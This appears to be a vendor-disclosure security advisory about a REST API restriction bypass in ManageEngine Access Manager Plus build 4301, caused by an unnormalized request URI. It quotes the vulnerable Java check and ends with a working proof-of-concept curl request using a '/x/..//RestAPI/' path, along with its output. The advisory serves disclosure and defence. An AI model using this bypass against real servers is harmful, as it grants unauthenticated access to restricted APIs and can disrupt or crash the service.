ManageEngine Access Manager Plus REST API Restriction Bypass

A researcher at Tenable found an API restriction bypass vulnerability in ManageEngine Access Manager Plus (AMP) build 4301. The flaw results from HttpServletRequest.getRequestURI() not returning a normalized URI in com.manageengine.ads.fw.api.RestAPIUtil.isRestAPIRequest():

  public static boolean isRestAPIRequest(HttpServletRequest request, JSONObject filterParams) {
    String restApiUrlPattern = "/RestAPI/.*";
    try {
      restApiUrlPattern = filterParams.optString("API_URL_PATTERN", restApiUrlPattern);
    } catch (Exception ex) {
      out.log(Level.INFO, "Unable to get API_URL_PATTERN.", ex);
    } 
    String reqURI = request.getRequestURI();
    String contextPath = (request.getContextPath() != null) ? request.getContextPath() : "";
    reqURI = reqURI.replace(contextPath, "");
    reqURI = reqURI.replace("//", "/");
    return Pattern.matches(restApiUrlPattern, reqURI);
  }
}

<...snip...>
      if (RestAPIUtil.isRestAPIRequest(request, this.filterParams) && !RestAPIFilter.doAction(servletRequest, servletResponse, this.filterParams, this.filterConfig))
        return false; 
<...snip...>

An unauthenticated remote attacker can exploit this to bypass checks on REST API URLs by using a URL like '/x/../RestAPI/'. This allows the attacker to access certain REST APIs that are not normally accessible.

The actions the attacker can do with these REST APIs include, but are not limited to, restarting the AMP server, creating a large number of attacker-controlled certificate files (i.e., to fill up the file system), and viewing information that is otherwise inaccessible.

Proof of Concept:

# Get license details
curl --path-as-is -sk -d 'operation=getLicenseDetails' 'https://<amp-host>:9292/x/..//RestAPI/LicenseMgr'
{"BUILD_NO":"4301","LICENSE_TO":"ManageEngine","COMPONENT_DETAILS":{"Days to Expire":"23days.","Number of Users":10},"VERSION":"4.3.0","LICENSE_TYPE":"Standard Edition - Trial Version","LICENSE_TYPE_CODE":"T","PRODUCT_NAME":"AccessManagerPlus"}